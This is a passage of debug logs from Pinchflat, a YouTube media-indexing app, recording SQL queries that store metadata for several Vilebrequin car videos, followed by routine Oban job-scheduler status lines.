s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.669 [debug] QUERY OK source="media_items" db=4.1ms idle=12.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 16:15:00Z], 1] 07:43:35.673 [debug] QUERY OK source="media_items" db=3.1ms idle=16.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "f6fbc80f-211c-411a-89ee-312cd73d0753", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", 17, "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, false, false, 1, [], 98, ~U[2023-07-13 16:15:00Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, 1, ~U[2023-07-13 16:15:00Z]] 07:43:35.674 [debug] QUERY OK source="sources" db=0.6ms idle=16.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.678 [debug] QUERY OK source="media_items" db=3.4ms idle=13.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 16:15:02Z], 1] 07:43:35.681 [debug] QUERY OK source="media_items" db=2.4ms idle=15.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "1c23d25c-a002-4246-81f4-c0e21a795413", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", 18, "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, false, false, 1, [], 98, ~U[2023-07-06 16:15:02Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, 1, ~U[2023-07-06 16:15:02Z]] 07:43:35.682 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=14.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.686 [debug] QUERY OK source="media_items" db=3.0ms idle=10.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 17:15:02Z], 1] 07:43:35.689 [debug] QUERY OK source="media_items" db=2.4ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "72f3a6fb-2070-42de-9ecd-e5bd0058bf27", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", 19, "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, false, false, 1, [], 98, ~U[2023-06-29 17:15:02Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, 1, ~U[2023-06-29 17:15:02Z]] 07:43:35.691 [debug] QUERY OK source="sources" db=0.7ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.694 [debug] QUERY OK source="media_items" db=2.8ms idle=10.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 16:15:02Z], 1] 07:43:35.697 [debug] QUERY OK source="media_items" db=2.0ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "ecd6ac83-daad-4bfb-bda4-cc8b3270f30f", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", 20, "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, false, false, 1, [], 98, ~U[2023-06-22 16:15:02Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, 1, ~U[2023-06-22 16:15:02Z]] 07:43:35.699 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=11.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], 1] 07:43:35.703 [debug] QUERY OK source="media_items" db=3.1ms queue=0.3ms idle=10.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:43:35.707 [debug] QUERY OK source="media_items" db=3.1ms idle=13.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:43:35.709 [debug] QUERY OK source="media_items" db=1.5ms idle=13.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 07:43:35.712 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=8.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2365, 1, ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z]] 07:43:35.715 [info] {"args":{"id":1},"id":2359,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":82934577,"event":"job:stop","queue_time":830244,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:43:42.801 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.834 [info] {"source":"oban","duration":494,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:12.804 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:42.809 [info] {"source":"oban","duration":4648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.835 [info] {"source":"oban","duration":479,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:12.811 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:42.813 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.836 [info] {"source":"oban","duration":788,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:12.816 [info] {"source":"oban","duration":2588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:42.818 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.838 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:12.820 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:42.822 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.839 [info] {"source":"oban","duration":517,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:12.825 [info] {"source":"oban","duration":2482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:42.827 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.841 [info] {"source":"oban","duration":873,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:12.829 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:42.831 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.842 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:12.833 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:42.835 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.843 [info] 